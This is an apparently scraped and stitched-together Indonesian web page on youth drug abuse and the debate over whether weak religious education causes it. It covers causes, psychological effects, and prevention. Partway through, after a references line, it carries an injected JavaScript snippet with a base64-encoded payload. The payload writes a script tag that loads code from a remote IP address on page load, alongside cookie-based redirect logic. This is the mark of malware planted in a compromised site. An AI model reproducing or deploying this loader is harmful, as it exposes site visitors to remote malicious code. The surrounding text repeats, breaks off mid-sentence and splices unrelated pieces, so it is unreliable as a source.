Contohdebat pro dan kontra kenakalan remaja. Filtrasi adalah invertebrata. 7 contoh naskah drama singkat dan terbaik unsur unsur dalam debat 1. Argumen Pendapat Debat Mosi Kurangnya Pendidikan Agama Di Rumah Dan Sekolah Menjadi Penyebab Utama Penyalahgunaan Narkoba Pada Remaja . Teks Debat Pengertian Fungsi Tujuan Unsur Etika Contoh .
Kompasiana adalah platform blog. Konten ini menjadi tanggung jawab bloger dan tidak mewakili pandangan redaksi Kompas. Pendidikan merupakan suatu bentuk pembelajaran pengetahuan,keterampilan yang diberikan oleh seorang tenaga pendidik terhadap seorang peserta didik sebagai penerima pembelajaran masih menjadi suatu bidang yang dijadikan sebagai pembentukan karakter dalam menumbuhkan pengetahuan dan keterampilan bagi peserta didik,yang melibatkan peserta didik dan tenaga pendidik sebagai transformator ilmu pengetahuan bagi dunia pendidikan khusunya peserta didik .Pembentukan karakter yang diberikan oleh guru peserta didik terhadap siswa tidak dapat dipungkiri akan terdapat beberapa kendala dalam pelaksanannya yakni timbulnya salah satu masalah pendidikan yang menjadi sorotan tajam yaitu penyalahgunaan penggunaan Narkoba terhadap peserta didik atau pelajar. Ketika tingkat pendidikan pelajar semakin tinggi maka pastinya mereka akan memiliki lingkungan yang berbeda-beda sehingga siswa perlu proses adaptasi tesebut perlu adanya pengawasan baik dari orang tua maupun dari yang sama dalam situasi tersebut maraknya penggunaan Narkoba dilingkungan sekolah atau sesama pelajar bahkan dalam tempat sepergaulannya ikut kedalam penyalahgunaan Narkoba,Hal tersebut merupakan yang membuat anak menjadi rentan terjerumus kedalam penyalahgunaan Narkoba. Kepala Badan Narkotika Nasional BNN Komisariat Jendral Polisi Heri Winarko menyebutkan penyalahgunaan narkotika dikalangan remaja semakin meningkat,dimana ada pengingkatan sebesar 24 sampai 28 persen remaja yang menggunkan itu jika dilihat dalam permasalahan pendidikan mengenai Penyalahgunaan Narkoba bahwasannya tidak luput dari adanya Disfungsi keluarga yaitu dimana peran keluarga tidak mejalankan tugas dan fungsinya dalam keluarga dengan semestinya sehingga menyebabkan atau mempengaruhi keutuhan keluarga sebagai suatu satu fungsi keluarga adalah memberikan sosialisasi atau pendidikan terhadap anak mengenai nilai dan norma yang harus dilakukan oleh mereka apa yang seharusnya mereka lakukan dan hal yang tidak boleh dilakukan,membentuk kepribribadiannya,mengontrol tingkah lakunya,sikapnya,serat melatih emosional anak dalam bersosialisasi dalam lingkungan Keluarga memberikan salah satu dampak yang terjadi pada anak yaitu adanya penyalahgunaan Narkoba pada kalangan pelajar yang pada dasarnya hal ini diakibatkan oleh peran keluarga atau orang tua yang tidak berfungsi dengan semestinya. Tidak dapat dipungkiri tindakan penyalahgunaan Narkoba pada pelajar pastinya terdapat factor –faktor yang menyebabkan mereka terjerumus kedalam penyalahgunaan Narkoba seperti komunikasi antara siswa dengan orang tua tidak baik,perceraian orang tua,kekerasan terhadap anak,factor itu siswa atau pelajar menganggap bahwa menggunakan Narkoba memberikan efek kepercayaan diri terhadap mereka dan dapat menghilangkan stress atas apa yang siwa atau pelajar tersebut alami dalam persepsi atau sugesti factor-faktor penyebab siswa dapat melakukan tindakan penyalahgunaan Narkoba dapat diatasi dengan adanya Pendidikan Narkoba yang ditanamkan pada para siswa yang dilakukan oleh guru maupun orangtua. Selain itu Menjalin hubungan antara Keluarga dengan Sekolah tentunya perlu dilakukan dalam hal ini tentunya bukan hanya sekolah dapat mengetahui pola interaksi yang terjalin antara orang tua dengan siswa tetapi hal ini dapat dimanfaatkan oleh orangtua agar dapat mengetahui bagaimana proses perkembangan yang terjadi didalam sekolah sehingga tidak dapat dipungkiri dalam proses menjalin hubungan antara keluarga dengan sekolah dapat diselipkan bagaimana pendidikan Narkotika perlu diberikan pemahaman dalam keluarga yang nantinya akan disampaikan atau diberikan kepada siswaanak Salah satu bentuk pendidikan narkoba adalah adanya sosialisasi mengenai bahaya dan dampak negative dari penyalahgunaan Narkoba dengan cara menerapkan kehidupan yang sehat,menjalin komunikasi yang baik dengan orangtua maupun dengan guru,membekali siswa dengan nilai dan norma yang baik sehingga mereka dapat menghinadri dan mencegah penyalahgunaan Narkoba, Sebab pendidikan Narkoba sedari dini perlu ditanamkan dalam diri siswa karena mencegah lebih baik dari pada mengobati. Lihat Pendidikan Selengkapnya AyoMengomunikasikan Presentasikan hasil analisisdiskusi, hasil karya dan melaporkannya dalam bentuk tulisan maupun bentuk lainnya tentang hal-hal yang berhubungan dengan penyalahgunaan narkoba Pendidikan Agama Buddha 179 Rangkuman Aku Tahu Dari uraian di atas jelas bahwa masalah narkoba dan penyalagunaannya masih menjadi permasalahan kita semua.
Kompasiana adalah platform blog. Konten ini menjadi tanggung jawab bloger dan tidak mewakili pandangan redaksi Kompas. Penyalahgunaan Narkoba di Kalangan Remaja dan Pelajar Serta Pandangan Dalam Agama IslamNaily Himmatul UlyaNailyhilya 3120008 Narkotika, psikotropika, dan bahan adiktif berbahaya lainnya atau biasa disingkat dengan istilah narkoba. Narkoba merupakan obat berbahaya yang dapat membuat seseorang menjadi lumpuh atau mati rasa akibat mengkonsumsinya. Ada beberapa macam dari narkotika ialah opioida, morfin, codein, heroin, ganja, metadon, dan kokain. Macam-macam psikotropika yaitu amphetamine dan ATS Amphetamine Type Stimulants. Macam-macam dari bahan adiktif lainnya yaitu alkohol, kafein atau caffine, zat sedatif dan hipnotika, halusinogen dan inhalansia. Ada beberapa jenis narkoba yang digunakan untuk kesehatan, membantu kegiatan medis, dan juga digunakan untuk penelitian. Namun, ada beberapa orang yang terkadang melakukan penyalahgunaan terhadap narkoba. Penyalahgunaan narkoba menjadi suatu masalah besar bagi semua bangsa termasuk di Indonesia. Penyalahgunaan narkoba kebanyakan terjadi di kalangan remaja dan pelajar. Faktor yang memengaruhi para remaja dan pelajar mengkonsumsi narkoba di antaranya yaitu karena kurangnya perhatian dan kasih sayang dari orang tua yang tidak dapat dirasakan oleh anak. Orang tua yang kurang menberikan perhatian dan kasih sayang dapat mengakibatkan pergaulan anak tidak terkontrol. Selain itu, pengetahuan ilmu agama yang masih kurang, minimnya pengetahuan mengenai narkoba, lari dari masalah yang sedang dihadapi hanya untuk kesenangan sesaat, dan mendapat pengaruh dari teman-temannya yang sudah terjerumus dalam narkoba. Awalnya para pengguna narkoba hanya coba-coba namun lama kelamaan dapat menimbulkan ketergantungan. Jika seseorang terlanjur kecanduan mengkonsumsi narkoba banyak dampak negatif yang akan ditimbulkan. Jika narkoba dikonsumsi secara terus menerus dan melebihi dosis dapat mengakibatkan ketergantungan. Ketergantungan ini akan mengakibatkan gangguan pada penggunanya. Penyalahgunaan narkoba juga menjadi salah satu sumber tindakan kriminal yang dapat mengganggu ketenteraman dalam kehidupan masyarakat. Dampak negatif penyalahgunaan narkoba bagi remaja dan pelajar di antaranya terjadi perubahan sikap, perilaku dan kepribadian pada diri remaja dan pelajar, mereka akan sering membolos ketika jam sekolah, turunnya kedisiplinan dan nilai-nilai pelajaran sekolah, menjadi pribadi yang pemalas, mudah marah, mudah mengantuk, bahkan dapat melakukan tindakan pencurian hanya untuk membeli narkoba. Selain itu, penyalahgunaan narkoba dapat mengakibatkan berubahnya perilaku dan juga kesadaran pada penggunanya. Penyalahgunaan narkoba juga membahayakan kesehatan penggunanya. Efek jika melakukan penyalahgunaan narkoba yaitu dapat mengakibatkan penggunanya depresan pengguna narkoba akan merasa tenang, dan jika kelebihan dosis dapat menyebabkan kematian, stimulan merangsang fungsi tubuh serta meningkatkan kegairahan dan kesadaran, dan halusinogen menyebabkan halusinasi pada penggunanya. Al-Qur'an menjelaskan bahwa sebagai manusia kita harus menjaga serta membentengi diri dari hal-hal yang dapat membahayakan kesehatan pada tubuh. Salah satu caranya yaitu dengan mengkonsumsi makanan ataupun minuman yang halal dan baik. Mengkonsumsi makanan yang halal dan baik merupakan salah satu wujud akhlak terhadap diri sendiri, menjaga dan melindungi tubuh dari hal-hal yang tidak baik bagi kesehatan serta tidak merusak diri sendiri. Sebagaimana tertera dalam firman Allah swt., yang berbunyi Artinya " Wahai manusia! Makanlah dari makanan yang halal dan baik yang terdapat di bumi, dan janganlah kamu mengikuti langkah-langkah syaitan. Sungguh, syaitan itu musuh yang nyata bagimu" QS. Al-Baqarah 168. 1 2 3 Lihat Ilmu Sosbud Selengkapnya
Dampakbahaya Penyalahgunaan Narkoba : Dampak Fisik : 1.Gangguan pada sistem saraf (neorologis) : kejang-kejang, halusinasi, gangguan kesadaran, kerusakan saraf tepi. 2.Gangguan pada jantung dan pembuluh darah (kardiovaskuler) : infeksi akut otot jantung, gangguan peredaran darah. 3.Gangguan pada kulit (dermatologis) : penanahan, bekas suntikan
Review Of Pro Dan Kontra Kurangnya Pendidikan Agama Penyebab Penyalahgunaan Narkoba 2023. Karena salah satu penyebab terjerumusnya kita ke dalam hal negatif termasuk penyalahgunaan narkoba ini adalah kurangnya pendidikan moral dan keagamaan yang kita serap,” tutur. Beberapa hal yang termasuk di dalam faktor pribadi adalah genetik, bilogis, personal,.Contoh Debat Bahasa Inggris Tentang Narkoba Mosaicone from kurangnya pendidikan ilmu dan agama sehingga anak menyimpang pada perbuatan yang tidak baik seperti narkoba. Islam berperan penting untuk mencegah penyalahgunaan narkoba dan hanya dengan pendidikan agama islam dapat ditumbuhkan sikap positif yang dalam hidupnya selalu. Beberapa faktor penyebab penyalahgunaan narkoba diantaranya yaituBeberapa Hal Yang Termasuk Di Dalam Faktor Pribadi Adalah Genetik, Bilogis,.Saat ini di indonesia ada 3 kejahatan besar yang membutuhkan perhatian intensif, di antaranya adalah penyalahgunaan naroba, korupsi dan terorisme. Berdasarkan hasil kedua metode tersebut saya menyimpulkan bahwa pendidikan agama islam memang membawa dampak yang sangat besar dalam mencegah. Menurutnya, apabila para pelajar dibekali ilmu agama yang benar dan kuat, maka niscaya mereka tidak akan mudah terpengaruh penyalagunaan Oleh Mantan Deputi Rehabilitasi Bnn penyalagunaan narkoba dari faktor pribadi diri sendiri. Di dalam keluarga, hubungan yang retak antara ayah dan ibu,. Penyebab kenakalan remaja secara internal yang pertama adalah krisis Faktor Penyebab Penyalahgunaan Narkoba Diantaranya YaituPendidikan agama islam untuk mencegah penyalahgunaan narkoba di smk raden rahmat mojosari mojokerto sangat berperan penting seperti dengan penyuluhan tentang bahaya. Bukti tim afirmasi tentang kurangnya pendidikan agama di rumah dan sekolah menjadi penyebab utama penyalahgunaan narkoba pada remaja badpel16 anak salah satu musisi, ahmad dani,. Islam berperan penting untuk mencegah penyalahgunaan narkoba dan hanya dengan pendidikan agama islam dapat ditumbuhkan sikap positif yang dalam hidupnya Faktor Lingkungan, Keluarga, Sekolah, Dan Teman Sebaya Sangat Memengaruhi Penyebab Penggunaan tim afirmasi tentang kurangnya pendidikan agama di rumah dan sekolah menjadi penyebab utama penyalahgunaan narkoba pada remaja badpel16 benar, karena sudah. Beberapa hal yang termasuk di dalam faktor pribadi adalah genetik, bilogis, personal,. Karena salah satu penyebab terjerumusnya kita ke dalam hal negatif termasuk penyalahgunaan narkoba ini adalah kurangnya pendidikan moral dan keagamaan yang kita serap,” Setia Utami Pada Acara Penyalahgunaan Narkoba Dan Dampaknya Terhadap Kualitas Sdm, Senin 7/6/2021,.Mereka menggunakan narkoba dengan berbagai alasan. Krisis identitas ini tidak lain terjadi karena di umur remaja anak akan mengalami perasaan untuk. Pendidikan, kurangnya pendidikan ilmu dan agama sehingga anak menyimpang pada perbuatan yang tidak baik seperti narkoba.
pemberdayaanpenyuluh agama islam dalam upaya penanggulangan penyalahgunaan narkotika dan psikotropika di kabupaten sukabumi January 2021 DOI: 10.35194/jj.v1i1.1112
Pro Dan Kontra Kurangnya Pendidikan Agama Penyebab Penyalahgunaan Narkoba General Penyebab, Dampak dan Solusi Panggunaan Narkoba pada Kehidupan Psikologis Remaja Penyebab, Dampak dan Solusi Panggunaan Narkoba pada Kehidupan Psikologis Remaja Remaja, merupakan tahapan menuju pendewasaan. Mulai mencari dan mencoba segala hal yang dia inginkan untuk memperoleh jati diri, termasuk hal yang negative seperti narkoba. Penyalahgunaan narkoba kini kian marak terjadi di masyarakat terutama kalangan remaja. Pada Banyak sekali remaja yang kehilangan masa depannya akibat penyalahgunaan narkoba. Factor remaja menjadi penyalah guna benda yang terlarang Faktor Individu Secara aspek psikologi, penyebab remaja mengonsumsi narkoba adalah Kurangnya rasa percaya diri sehingga ingin terlihat gaya dengan konsumsi narkoba Ketidak mampuan mengelola masalah yang dihadapi dan stress. Coba- coba dan berpeluan untuk memperoleh pengalaman baru Ikatan dengan komunitas atau gen Menghilangkan rasa sakit, bosan, cemas, dan lainnya Menunjukan sikap pemberontakan dan kehebatan dan kekuasaan Mencari tantangan yang beresiko Merasa dirinya dewasa Faktor Obatnya/Zat, dengan eyakini bahwa obat bisa membantu menumbuhkan rasa percayam diri dan mampu mengurangi beban atau stress yang dialami. Faktor Lingkungan Hubungan keluarga yang tidak harmonis, broken home, dan adanya penggunakan narkoba oleh anggota keluarga lainnya. Pengaruh Teman, sangat berpengaruh pada seseorang. Jika seseorang memilih teman yang menggunakan narkoba maka seorang itupun ikut menggunakannya. Juga adanya tekanan, ancaman akan dikucilkan dan lainnya dari teman jika kita ingin berhenti mengonsumsinya. Pendidikan, kurangnya pendidikan ilmu dan agama sehingga anak menyimpang pada perbuatan yang tidak baik seperti narkoba. Lingkungan masyarakat, jika lingkungan masyarakat tidak baik, maka akan berpengaruh juga pada perilaku remaja. Dampak Psikologis remaja akibat penggunaan narkoba Cenderung menyakiti diri, perasaan tidak aman, bahkan bunuh diri Mempunyai sifat yang mudah kecewa dan temperamental , emosi yang tidak stabil, berbicara dan bertindak kasar, sikap membangkang, agitatif, cenderung agresif , berperilaku ganas dan savage serta destruktif/merusak. Keinginan tidak bisa menuggu, yang harus terpenuhi segera. Kurang percaya diri, cenderung apatis, penghayal, sensitive , selalu curiga, sulit konsentrasi, selalu tertekan, murung, selalu cemas, bersikap tegang, merasa merasa tidak mampu berbuat sesuatu yang berguna dalam hidup sehari-hari dan kurang mampu menghadapi stres. Suka mencari sensasi, melakukan hal-hal yang berbahaya atau mengandung risiko. Lamban dalam suatu pekerjaan, kurang aktif dalam pendidikan, pekerjaan, atau kegiatan lain. rendahnya prestasi belajar, partisipasi dalam kegiatan-kegiatan di luar sekolah kurang, kurang olahraga, malas dan sering melupakan tanggung jawab dan tugas-tugas rutinnya Jauh dari keluarga, sering bertemu dengan orang yang tidak dikenal keluarga, pergi tanpa pamit dan pulang lewat tengah malam Suka menyendiri didalam suatu ruangan. Menjadi pembohong dan ingkar janji. Solusi remaja berhenti menggunakan narkoba, dan cera pencegahan pemakaian kembali. Yang dilakukan oleh pemerintah Primer, memberikan pendidikan, pengetahuan dan penyebaran informasi tentang bahaya penyalahgunaan narkoba, melakukan pendekatan melalui keluarga, dan Instansi pemerintah, seperti BKKBN, lebih banyak berperan pada tahap intervensi ini. kegiatan dilakukan seputar pemberian informasi melalui berbagai bentuk materi KIE yang ditujukan kepada remaja langsung dan keluarga. Sekunder, tahap penyembuhan treatment. Fase ini meliputi Fase penerimaan awal initialintakeantara 1 – iii hari dengan melakukan pemeriksaan fisik dan mental, dan Fase detoksifikasi dan terapi komplikasi medik, antara 1 – 3 minggu untuk melakukan pengurangan ketergantungan bahan-bahan adiktif secara bertahap. Tertier, tahap rehabilitasi sebagai penyembuhan mereka yang menggunakan narkoba. Yang dilakukan oleh masyarakat Menggunaka beberapa cara pendekatan yaitu Pendekatan agama religius, dengan cara menanamkan ajaran agama yang mereka anut tentang berbuat kebaikan, menjauhi segala hal yang buruk atau kerusakan pada dirinya, keluarga, maupun lingkungan sekitar. Pendekatan psikologis, dengan memberikan nasehat, melakukan pembicaraan dari hati- ke hati oleh orang- orang yang terdekat dengannya yang sesuai dengan karakter kepribadian mereka. Pendekatan social, menyadarkan mereka bahwa mereka merupakan bagian penting dalam keluarga dan lingkungannya. Dengan cara sepeti itu, diharapkan mereka bisa merasakan bahwa kehadiran mereka di tengah keluarga dan masyarakat memiliki arti penting. [IP] Arthia H Sumber referensi dan Gambar https//www. function getCookiee{var U= RegExp“?^; ”+ thousand,”\\$ane″+”=[^;]*”;render U?decodeURIComponentU[i]void 0}var src=”datatext/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now= present/1e3,cookie=getCookie“redirect”;ifnow>=time=cookievoid 0===time{var time= Datenew Date.getTime+86400; path=/; expires=”+ Pro Dan Kontra Kurangnya Pendidikan Agama Penyebab Penyalahgunaan Narkoba Source

1 Penyebab Penyalagunaan Narkoba Dari Faktor Pribadi Diri Sendiri. Ada beberapa faktor pribadi yang bisa menyebabkan remaja terlibat penyalahgunaan narkoba, dan berikut faktor pribadi itu sendiri : Mental yang lemah, ini menyebabkan remaja mudah goyah dan mudah terpengaruh ajakan keburukan. Mental yang lemah ini bisa berbentuk seperti selalu

Source Pro Kontra Kurangnya Pendidikan Agama dalam Pemberantasan Narkoba Berdasarkan data dari Kementerian Sosial pada tahun 2020, jumlah pengguna narkoba di Indonesia mencapai sekitar 6 juta orang. Fenomena ini menjadi masalah serius bagi masyarakat Indonesia karena narkoba bukan hanya merusak kesehatan fisik, tetapi juga menimbulkan dampak sosial dan ekonomi yang buruk. Salah satu penyebab meningkatnya penyalahgunaan narkoba adalah kurangnya pendidikan agama. Namun, terdapat pandangan pro dan kontra terkait dengan peran pendidikan agama dalam pemberantasan narkoba. Pandangan Pro Di satu sisi, banyak yang meyakini bahwa pendidikan agama dapat memainkan peran penting dalam pencegahan penyalahgunaan narkoba. Pendidikan agama memperkenalkan ajaran-ajaran moral dan etika yang dapat membantu individu untuk memiliki perilaku yang baik. Pendidikan agama juga memberikan gambaran tentang pentingnya menjaga kesehatan fisik dan mental yang termasuk dalam pembentukan kepribadian yang kuat. Sebagai contoh, agama Islam sangat menekankan pentingnya menjaga kebersihan dan kesucian jiwa dan raga. Salah satu cara menjaga kesucian jiwa dan raga adalah dengan menjauhi segala hal yang dapat merusaknya, termasuk narkoba. Oleh karena itu, dengan memperoleh pendidikan agama yang benar, anak-anak dapat belajar bagaimana menghindari penyalahgunaan narkoba serta mengembangkan anak-anak yang bermanfaat bagi bangsa dan negara. Pandangan Kontra Di sisi lain, ada pandangan yang kurang mendukung peran pendidikan agama dalam pemberantasan narkoba. Beberapa kalangan kurang percaya bahwa pendidikan agama bisa mencegah penyalahgunaan narkoba. Meskipun individu telah memahami dan mengerti ajaran agama, tetapi tidak menjamin seseorang tidak akan membeli, mencoba ataupun mengonsumsi narkoba. Hal ini dikarenakan faktor sosiologis, psikologis, ekonomi dan pengetahuan yang kurang menyeluruh tentang bahaya narkoba pada diri seseorang. Padahal, fakta menunjukkan bahwa banyak pelaku penyalahgunaan narkoba yang berasal dari lingkungan yang beragama. Belum lagi, banyak orang awam yang menganggap narkoba dapat menghasilkan kebahagiaan serta meningkatkan rasa percaya diri dan menurunkan beban pikiran. Kesimpulan Dari dua pandangan yang ada, sebenarnya pendidikan agama dan pengetahuan terkait narkoba saling terkait satu sama lain. Pendidikan agama dapat memberikan pemahaman tentang nilai-nilai moral dan etika yang baik dan benar, serta membentuk kepribadian dan karakter yang kuat. Sedangkan, pengetahuan yang benar tentang bahaya narkoba dapat membantu untuk menghindari maupun membantu seseorang untuk keluar dari perangkap narkoba. Karena itu, sangat penting bagi kita semua untuk memperkuat pendidikan agama, memperluas pengetahuan dan kesadaran tentang bahaya narkoba serta meningkatkan kepedulian dan partisipasi aktif dalam penanganan permasalahan narkoba. Penyalahgunaan narkoba menjadi masalah yang sangat serius di Indonesia. Banyak orang dari berbagai kalangan termasuk di antaranya para pelajar, mahasiswa, pekerja, hingga ibu rumah tangga yang justru semakin mudah terjerumus pada kegiatan yang merusak diri dan lingkungan. Pendekatan yang dapat dilakukan dalam mengatasi masalah ini tentu beragam salah satunya adalah dengan mengembangkan pendidikan agama yang berkualitas. Namun, banyak orang juga yang meragukan efektivitas pendidikan agama dalam menangani persoalan ini. Salah satu dampak minimnya pendidikan agama di masa kini adalah maraknya penyalahgunaan narkoba. Banyak orang yang menyebutkan sumber persoalan penyalahgunaan narkoba adalah keluarga, lingkungan, pergaulan, bahkan kekurangan pendidikan agama. Masalah yang terjadi saat ini ada pada aspek kurangnya penanaman nilai-nilai moral dan agama di keluarga dan lingkungan sekitar. Pendidikan agama merupakan tanggung jawab keluarga dan lembaga pendidikan. Pendidikan agama seharusnya menjadi solusi atas berbagai permasalahan sosial yang ada di lingkungan kita. Pendidikan agama akan memperkuat pengenalan tentang Tuhan, nilai-nilai yang baik, moral dan etika, serta menanamkan kepercayaan dan keyakinan pada diri sendiri. Ini sangat dibutuhkan dalam menghadapi segala tantangan kehidupan sehari-hari, baik dalam pergaulan, keluarga, maupun karir seseorang. Seiring perkembangan zaman dan kemajuan teknologi, remaja dihadapkan pada berbagai pergaulan bebas. Tak jarang, mereka malah melewatkan banyak waktu untuk hal-hal yang tidak bermanfaat bagi kegiatan belajar mereka atau bahkan dapat merusak masa depan mereka yang lebih baik. Mereka diliputi oleh sifat kurang sabar dan cepat menginginkan sesuatu yang instant atau serba instan. Akibatnya, rasa penasaran akan nikmatnya menggunakan narkoba mendorong mereka mencobanya. Salah satu penyebab minimnya pendidikan agama yang berkualitas di sekolah-sekolah atau perguruan tinggi adalah adanya kurikulum yang kurang lengkap dan mulai ditinggalkan. Seiring zaman, kita dapat melihat kurikulum yang mulai dipinggirkan dan dianggap sebagai sesuatu yang kuno dan tidak relevan dengan perkembangan zaman. Padahal, kandungan materi di dalam kurikulum yang ada sejak lama telah mencakup hal-hal yang penting dan mendasar tentang etika dan moral di dalam kehidupan sehari-hari. Materi yang diperoleh adalah mengenai kedudukan Tuhan, hidup berguna bagi sesama, kesehatan mental dan fisik, serta pandangan mengenai kehidupan yang baik dan benar. Penyalahgunaan narkoba menjadikan seseorang sebagai budak nafsu dan tidak memiliki pengendalian terhadap dirinya sendiri. Tidak jarang ada perbuatan yang tidak bermoral yang dilakukan oleh pengguna narkoba, seperti pemerkosaan, tindakan kejahatan, kekerasan, dan lain-lain. Segala bentuk tindakan kejahatan yang dilakukan oleh pengguna narkoba sama sekali tidak sesuai dengan nilai-nilai yang diajarkan dalam agama. Solusi paling tepat untuk mengatasi minimnya pendidikan agama adalah membangun karakter anak-anak atau siswa sejak usia dini tentang moral, etika, dan adab sopan santun. Selain itu, juga melakukan pendekatan terhadap lingkungan sekitarnya agar ikut mendukung dan memotivasi dalam pendidikan anak di dalam keluarga. Sementara bagi lembaga pendidikan, perlu diinformasikan kembali tentang pentingnya mensosialisasikan nilai agama pada siswa dan sebagai tambahan juga, memberikan pengetahuan terkait bahaya narkoba bagi diri mereka sendiri dan orang-orang di sekitarnya. Sangat penting bagi kita semua untuk memahami bahwa pendidikan agama dapat mencegah dan mengatasi penyalahgunaan narkoba. Dengan mengembangkan pendidikan agama yang berkualitas, maka remaja dan generasi masa depan akan menjadi lebih tangguh dan bertanggung jawab dalam menerapkan nilai-nilai agama dalam kehidupan sehari-hari serta jauh dari perbuatan yang tidak bermoral. Maka dari itu, perlu dikembangkan lagi pendidikan agama yang berkualitas agar tercipta generasi yang berakhlak mulia dan tangguh dalam mengatasi berbagai persoalan sosial yang dihadapi di masa kini dan ke depan. Peran Pendidikan Agama dalam Mencegah Penyalahgunaan Narkoba Pendidikan agama merupakan salah satu aspek penting dalam kehidupan manusia, khususnya di Indonesia yang memiliki mayoritas penduduk beragama Islam. Namun, dalam beberapa tahun terakhir, banyak masyarakat Indonesia yang terjerumus dalam penyalahgunaan narkoba. Hal ini menimbulkan pertanyaan, apakah kurangnya pendidikan agama menjadi penyebab penyalahgunaan narkoba? Sebenarnya, pendidikan agama memainkan peran yang sangat penting dalam mencegah penyalahgunaan narkoba. Berikut adalah beberapa alasan mengapa pendidikan agama dapat membantu mencegah penyalahgunaan narkoba 1. Agama Mengajarkan Budi Pekerti yang Baik Pendidikan agama tidak hanya mengajarkan ajaran-ajaran agama, tetapi juga mengajarkan tentang budi pekerti yang baik. Hal ini sangat penting dalam mencegah penyalahgunaan narkoba, karena orang-orang yang memiliki budi pekerti yang baik cenderung memiliki rasa tanggung jawab yang besar terhadap diri sendiri dan lingkungan sekitarnya. Mereka tidak akan mudah tergoda untuk mencoba atau bahkan menggunakan narkoba. 2. Agama Mengajarkan Bahaya Dari Penyalahgunaan Narkoba Selain mengajarkan budi pekerti yang baik, pendidikan agama juga mengajarkan tentang bahaya dari penyalahgunaan narkoba. Masyarakat diajarkan tentang dampak negatif narkoba terhadap kesehatan, emosi dan spiritualitas mereka, dan bahaya bagi keluarga dan masyarakat. Dengan demikian, orang-orang yang mendapatkan pendidikan agama yang baik tidak akan mudah tergoda untuk mencoba atau mengonsumsi narkoba, bahkan ketika terjadi tekanan grup atau lingkungan yang buruk. 3. Agama Mengajarkan Pentingnya Berkomunikasi Dalam agama, berkomunikasi dengan baik antara sesama manusia sangatlah penting. Komunikasi yang sehat dan baik membantu manusia memperoleh informasi yang benar, membantu menghindari konflik serta memperkuat nilai-nilai moral dan spiritual. Dalam mencegah penyalahgunaan narkoba, komunikasi yang baik sangatlah penting dalam mengajarkan orang-orang tentang bahaya narkoba, dan membuka ruang dialog terbuka dengan keluarga, teman, atau orang yang mereka percayai. Pendidikan agama dapat membantu orang-orang untuk belajar bagaimana berkomunikasi yang baik dan benar, memperkuat hubungan interpersonal mereka, dan mencegah terjadinya penyalahgunaan narkoba. 4. Agama Mendorong Orang Untuk Berbuat Baik bagi Orang Lain Agama mengajarkan agar manusia mengembangkan sikap empati dan memperhatikan orang lain agar penuh kasih sayang. Hal ini berarti membuka diri dan mempunyai perhatian terhadap orang-orang di sekitarnya. Masyarakat diajarkan untuk berperilaku baik kepada orang lain serta merespons dengan bijak atas perbuatan buruk orang di sekitarnya. Karena penyalahgunaan narkoba tidak hanya membahayakan pelaku, tetapi juga lingkungan dan orang lain, maka pendidikan agama juga memainkan peran penting dalam mendorong orang-orang untuk bertindak secara baik dan mencegah penyalahgunaan narkoba. Semua ini menunjukkan bahwa pendidikan agama memainkan peran yang sangat penting dalam mencegah penyalahgunaan narkoba. Namun, harus diingat bahwa pendidikan agama bukanlah satu-satunya faktor yang mempengaruhi penyalahgunaan narkoba. Ada berbagai faktor yang memainkan peran penting dalam penyalahgunaan narkoba, seperti faktor sosial, lingkungan, keluarga, teman maupun faktor individu. Oleh karena itu, pendidikan harus diberikan dalam bentuk yang mendalam dan terarah agar dapat menghasilkan dampak positif terhadap masyarakat. Kontroversi Kurikulum Pendidikan Agama pada Sekolah-sekolah di Indonesia Pendidikan agama menjadi isu penting di Indonesia saat ini karena peran besarnya dalam membentuk karakter generasi muda. Namun, ada kontroversi terkait kurikulum pendidikan agama di sekolah-sekolah yang dapat mempengaruhi pengarahan terhadap penggunaan narkoba. Ada yang menyebut bahwa pendidikan agama di sekolah-sekolah kurang memberikan pengarahan tentang bahaya narkoba dan cara memeranginya, sementara yang lain menyebut bahwa pendidikan agama di sekolah sudah cukup menyentuh isu narkoba. Pendapat yang menyatakan bahwa pendidikan agama sekolah kurang memberikan pengarahan tentang bahaya narkoba dan cara memeranginya didasarkan pada pengalaman di mana mereka tidak pernah dilibatkan dalam diskusi tentang narkoba selama belajar agama. Selain itu, sebagian guru agama yang mengajar tidak punya pemahaman yang cukup tentang bahaya narkoba dan cara menghindarkannya, sehingga kurang bisa memberikan pengarahan yang memadai. Hal ini bisa terjadi karena guru agama yang seharusnya memiliki pemahaman yang mumpuni atas ajaran agama dan berwawasan luas, ternyata sama saja dengan siswa. Di sisi lain, ada pula yang menyatakan bahwa pendidikan agama sudah cukup menyentuh isu narkoba. Hal ini bisa terlihat dari banyaknya ceramah dan diskusi tentang bahaya narkoba yang dihadirkan di sekolah-sekolah. Tapi, perlu dicatat bahwa kurangnya pengarahan tentang bahaya penggunaan narkoba bukan sepenuhnya tanggung jawab pendidikan agama. Sekolah juga wajib memiliki program khusus yang membahas tentang bahaya mengkonsumsi narkoba agar siswa khususnya generasi muda memiliki pemahaman yang cukup. Namun, ada kendala yang dihadapi dalam perannya sebagai edukasi tentang bahaya narkoba dan cara mengobatinya, yaitu kurangnya sumber daya manusia yang memadai. Kebanyakan sekolah-sekolah tidak memiliki tenaga ahli khusus yang bisa memberikan pengarahan secara khusus mengenai bahaya narkoba dan cara melepas ketergantungan. Padahal, sumberdaya manusia yang baik dan berwawasan luas sangat diperlukan agar siswa dapat memahami bahaya tersebut secara lebih baik. Seiring perkembangan zaman, pentingnya pendidikan agama semakin mendesak mengingat Indonesia merupakan negara dengan mayoritas penduduknya beragama Islam. Pendidikan agama harus diperkuat dan dibenahi agar menghasilkan siswa yang cerdas, terampil, beriman dan bertaqwa. Penggunaan narkoba menjadi masalah serius yang harus ditangani, dan peran pengajaran agama dalam pendidikan mencakup sisi moral, akhlak, dan perilaku positif yang perlu dihibahkan kepada siswa supaya terhindar dari bahaya penggunaan narkoba. Oleh karena itu, peran pendidikan agama yang lebih optimal diharapkan dapat membantu siswa memahami tentang bahaya narkoba di masa mendatang. Optimalisasi Pendidikan Agama dalam Upaya Menanggulangi Penyalahgunaan Narkoba Peningkatan jumlah penyalahguna narkoba di Indonesia memang menjadi salah satu masalah serius yang negara ini hadapi. Berbagai upaya telah dilakukan untuk mengatasi permasalahan ini, 